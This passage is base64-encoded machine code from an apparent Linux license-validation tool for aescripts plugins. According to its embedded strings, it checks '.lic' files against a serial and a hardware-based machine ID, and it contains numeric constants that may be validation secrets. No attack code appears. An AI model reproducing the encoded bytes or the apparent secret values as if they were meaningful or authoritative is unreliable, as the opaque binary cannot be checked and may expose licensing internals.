UGJ1UmJxkiNRa1IicfoCMD//0yJ8Elj1enEAAAASI1FrUiJx+jxv///SYPFCEiD6wFIjUWuSInH6N3A//9IjUWuSInCvghtQABMie/oGb///+saQYnVSYnGSI1FrkiJx+i1v///TInwSWPV63RIjUWuSInH6KG///9Jg8UISIPrAUiNRa9IicfojcD//0iNRa9IicK+CG1AAEyJ7+jJvv//6xpBidVJicZIjUWvSInH6GW///9MifBJY9XrJEiNRa9IicfoUb///0iNlRD9//9IjUWwSInWSInH6Lu9///rOUGJ1UmJxk2F5HQjuAYAAABIKdhIweADSY0cBEw543QOSIPrCEiJ3+gNvv//6+1MifBJY9XpGgIAAEiNhfD8//9IjV2wuQIAAAC6AgAAAEiJ3kiJx+hS7///6xyJ00mJxEiNRbBIicfozb3//0yJ4Ehj0+mEAQAASI1FsEiJx+i2vf//SItF2EiDwAhIicfoprz//0iJx+gevv//icKLnWT8//9IjYXg/P//SI21cPz//0iNjbD8///HRCQIAgAAAMcEJAEAAABJifFJici5AgAAAIneSInH6Jzd//9IjYXw/P//SInH6E68//9IicNIjYXg/P//SInH6Dy8//9Iid5IicfoIb7//4XAD5XAhMB0SEiDfdgAdDpIi0XYSIPoCEiLAEjB4ANIicNIA13YSDtd2HQOSIPrCEiJ3+j5vP//6+xIi0XYSIPoCEiJx+gnvv//uwAAAADrZEiDfdgAdDpIi0XYSIPoCEiLAEjB4ANIicNIA13YSDtd2HQOSIPrCEiJ3+ixvP//6+xIi0XYSIPoCEiJx+jfvf//uwEAAADrHInTSYnESI2F4Pz//0iJx+iEvP//TIngSGPT6xFIjYXg/P//SInH6G28///rHInTSYnESI2F8Pz//0iJx+hXvP//TIngSGPT6xFIjYXw/P//SInH6EC8///rM0GJ1EmJxUiNhXD8//9IjVg4SI2FcPz//0g5w3QOSIPrCEiJ3+gVvP//6+ZMiehJY9TrJUiNhXD8//9MjWA4SI2FcPz//0k5xHQqSYPsCEyJ5+jou///6+aJ00mJxEiNhQD9//9Iicfo0rv//0yJ4Ehj0+sRSI2FAP3//0iJx+i7u///6xyJ00mJxEiNhRD9//9Iicfopbv//0yJ4Ehj0+sRSI2FEP3//0iJx+iOu///6xyJ00mJxEiNhSD9//9IicfoeLv//0yJ4Ehj0+sRSI2FIP3//0iJx+hhu///6xyJ00mJxEiNhTD9//9IicfoS7v//0yJ4Ehj0+sRSI2FMP3//0iJx+g0u///6xyJ00mJxEiNhUD9//9IicfoHrv//0yJ4Ehj0+sRSI2FQP3//0iJx+gHu///6xyJ00mJxEiNhVD9//9Iicfo8br//0yJ4Ehj0+sRSI2FUP3//0iJx+jauv//6xyJ00mJxEiNhYD9//9IicfoxLr//0yJ4Ehj0+sRSI2FgP3//0iJx+ituv//6xyJ00mJxEiNhZD9//9Iicfol7r//0yJ4Ehj0+sRSI2FkP3//0iJx+iAuv//6xyJ00mJxEiNhaD9//9Iicfoarr//0yJ4Ehj0+sRSI2FoP3//0iJx+hTuv//6xyJ00mJxEiNhbD9//9IicfoPbr//0yJ4Ehj0+sRSI2FsP3//0iJx+gmuv//6xyJ00mJxEiNhcD9//9IicfoELr//0yJ4Ehj0+sRSI2FwP3//0iJx+j5uf//6xyJ00mJxEiNhdD9//9Iicfo47n//0yJ4Ehj0+sRSI2F0P3//0iJx+jMuf//6xyJ00mJxEiNheD9//9Iicfotrn//0yJ4Ehj0+sRSI2F4P3//0iJx+ifuf//6xyJ00mJxEiNhfD9//9Iicfoibn//0yJ4Ehj0+sRSI2F8P3//0iJx+hyuf//6xyJ00mJxEiNhQD+//9IicfoXLn//0yJ4Ehj0+sRSI2FAP7//0iJx+hFuf//6yKJ00mJxEiNhRD+//9IicfoL7n//0yJ4Ehj00iJx+hRu///SI2FEP7//0iJx+gSuf//idhIgcSQAwAAW0FcQV1BXsnDVUiJ5UiD7BBIiX34SItF+Lo8AAAAvgAAAABIicfofrf//0iLRfhIicfoAgAAAMnDVUiJ5UiB7IAEAABIib2Y+///x0X8AAAAALoAAAAAvgIAAAC/AgAAAOhzuf//iUX0g330/3UMSMfA/////+kfAQAAx0XQAAQAAEiNhaD7//9IiUXYSI1V0ItF9L4SiQAAice4AAAAAOhEt///SItF2EiJReiLRdBImEiJhYj7//9Ius3MzMzMzMzMSIuFiPv//0j34kiJ0EjB6AWJRfjrb0iLVehIjUWgSInWSInH6C25//9IjVWgi0X0vhOJAACJx7gAAAAA6OW2//+FwA+UwITAdDYPt0WwmIPgCIXAdSpIjVWgi0X0vieJAACJx7gAAAAA6Li2//+FwA+UwITAdAnHRfwBAAAA6xVIg0XoKINt+AGLRfj30MHoH4TAdYGLRfS+AgAAAInH6GK2//+DffwAdCZIi4WY+///SI1VoEiNShK6BgAAAEiJxkiJz+iNt///uAAAAADrB0jHwP/////Jw1VIieVBVFNIgexAAQAAib28/v//SIm1sP7//4O9vP7//wN0Xr4wbUAAv2CEYADoGrf//77QHEAASInH6K24//++YG1AAL9ghGAA6P62//++0BxAAEiJx+iRuP//vphtQAC/YIRgAOjitv//vtAcQABIicfodbj//7v/////6ZUCAABIjYXA/v//SInH6OoCAADHhfz+//8AAAAASIuFsP7//0iDwAhIiwBIjZVQ////SInWSInH6Jm9//+JRehIi4Ww/v//SIPAEEiLAEiJx+gZt///icFIjZXA/v//SI2FUP///4nOSInH6B/E//+IRe8PtkXvg/ABhMB0B8dF6P////9IjUXnSInH6F64//9IjVXnSI1F0L7HbUAASInH6Jm2///rH4nTSYnESI1F50iJx+g2t///TIngSGPTSInH6Fi4//9IjUXnSInH6By3//+Dfej/dRNIjUXQvtBtQABIicfoVbT//+swg33o/nUTSI1F0L74bUAASInH6Dy0///rF4N96P11EUiNRdC+GG5AAEiJx+gjtP//vjluQAC/YIRgAOiktf//SI1V0EiJ1kiJx+iVtv//vkJuQABIicfoiLX//75EbkAAv2CEYADoebX//0iNlcD+//9IidZIicfoZ7X//75SbkAASInH6Fq1//++VW5AAL9ghGAA6Eu1//9IjZXA/v//SIPCHkiJ1kiJx+g1tf//vlJuQABIicfoKLX//4ud/P7//75ibkAAv2CEYADoE7X//4neSInH6Kmz//++Qm5AAEiJx+j8tP//vnxuQAC/YIRgAOjttP//SI2VwP7//0iDwkBIidZIicfo17T//75SbkAASInH6Mq0//++jG5AAL9ghGAA6Lu0//9IjZXA/v//SIPCSkiJ1kiJx+iltP//vlJuQABIicfomLT//76YbkAAv2CEYADoibT//0iNlcD+//9Ig8JoSInWSInH6HO0//++Um5AA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WxpZGF0ZWQAAAAAAAAAW3ByaXZudW1dIGlzIHRoZSBwcml2YXRlIG51bWJlciBvZiB0aGUgcHJvZHVjdAB2YWxpZAAAAABpbnZhbGlkIChsaWNlbnNlL3NlcmlhbCBtaXNtYXRjaCkAAAAAAAAAaW52YWxpZCAoZGlmZmVyZW50IG1hY2hpbmUgSUQpAABpbnZhbGlkIChsaWNlbnNlIGZpbGUgbm90IGZvdW5kKQBzdGF0dXM6IAAKAGZpcnN0IG5hbWU6ICcAJwoAbGFzdCBuYW1lOiAnAG51bWJlciBvZiB1c2VyIGxpY2Vuc2VzOiAAbGljZW5zZSB0eXBlOiAnAHBsdWdpbklEOiAnAHNlcmlhbDogJwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEbAzu8AQAANgAAAOyv//9AAwAAF7H//3ADAABSsv//mAMAABuz///oAwAAL7P//wgEAADouf//MAQAADLA//9YBAAAnsT//4AEAAC9xP//oAQAACTF///ABAAAQ8X//+AEAABixf//AAUAAIHF//8gBQAA38X//0AFAABvxv//YAUAAPzG//+ABQAAhMf//6gFAAAOyP//0AUAAJbI///4BQAAWcn//ygGAACSyv//UAYAABDL//94BgAAh8z//6gGAADkz///2AYAAPTQ//8ABwAArtL//ygHAADr0///UAcAAD7V//94BwAA3tf//6AHAAC92v//yAcAALrd///4BwAA/93//xgIAABI8///SAgAAHjz//9oCAAA2/T//4gIAAAA+P//UAkAAED4//9wCQAAVvj//+ABAACS+P//AAIAAKb4//8gAgAAuvj//0ACAADn+P//YAIAABT5//+AAgAAIvn//6ACAAA2+f//wAIAAJT5///gAgAAvPn//wADAADO+f//wAMAAOj7//+wCAAA/vv//9AIAABs/P//AAkAAH38//8gCQAA+Pz//6gJAAAI/f//wAkAAAAAAAAcAAAAAAAAAAF6UFIAAXgQBgMgHUAAGwwHCJABAAAAABwAAAAkAAAAbvb//zwAAAAAQQ4QhgJDDQZ3DAcIAAAAHAAAAEQAAACK9v//FAAAAABBDhCGAkMNBk8MBwgAAAAcAAAAZAAAAH72//8UAAAAAEEOEIYCQw0GTwwHCAAAABwAAACEA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